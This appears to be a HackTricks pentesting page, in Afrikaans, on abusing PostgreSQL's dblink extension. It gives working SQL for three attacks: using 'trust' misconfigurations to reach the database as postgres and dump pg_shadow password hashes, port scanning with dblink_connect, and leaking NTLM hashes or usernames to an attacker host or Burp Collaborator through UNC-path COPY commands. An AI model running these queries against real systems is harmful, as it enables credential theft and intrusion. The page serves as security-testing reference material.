Netwerk - Privesc, Port Scanner en NTLM uitdaging respons openbaarmaking

Reading time: 4 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Vind meer inligting oor hierdie aanvalle in die oorspronklike dokument.

Sedert PostgreSQL 9.1 is die installasie van addisionele modules eenvoudig. Geregistreerde uitbreidings soos dblink kan geïnstalleer word met CREATE EXTENSION:

sql
CREATE EXTENSION dblink;

Sodra jy dblink gelaai het, kan jy 'n paar interessante truuks uitvoer:

Privilege Escalation

Die lêer pg_hba.conf kan sleg geconfigureer wees wat verbindings vanaf localhost as enige gebruiker toelaat sonder om die wagwoord te ken. Hierdie lêer kan tipies gevind word in /etc/postgresql/12/main/pg_hba.conf en 'n slegte konfigurasie lyk soos:

local    all    all    trust

Note dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te verander wanneer die admin dit vergeet, so soms mag jy dit vind.
Note ook dat die lêer pg_hba.conf slegs deur die postgres-gebruiker en -groep leesbaar is en slegs deur die postgres-gebruiker skryfbaar is.

Hierdie geval is nuttig as jy reeds 'n shell binne die slagoffer het, aangesien dit jou sal toelaat om met die postgresql-databasis te verbind.

'n Ander moontlike miskonfigurasie bestaan uit iets soos hierdie:

host    all     all     127.0.0.1/32    trust

Aangesien dit almal van die localhost sal toelaat om as enige gebruiker met die databasis te verbind.
In hierdie geval en as die dblink funksie werk, kan jy privileges opgradeer deur met die databasis te verbind deur 'n reeds gevestigde verbinding en toegang tot data wat nie toegang behoort te hê nie:

sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Port Scanning

Deur dblink_connect te misbruik kan jy ook oop poorte soek. As daardie **funksie nie werk nie, moet jy probeer om dblink_connect_u() te gebruik, aangesien die dokumentasie sê dat dblink_connect_u() identies is aan dblink_connect(), behalwe dat dit nie-supergebruikers toelaat om te verbind met enige autentikasie metode_.

sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Let daarop dat voor jy in staat is om dblink_connect of dblink_connect_u te gebruik, jy dalk moet uitvoer:

CREATE extension dblink;

UNC pad - NTLM hash openbaarmaking

sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
sql
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks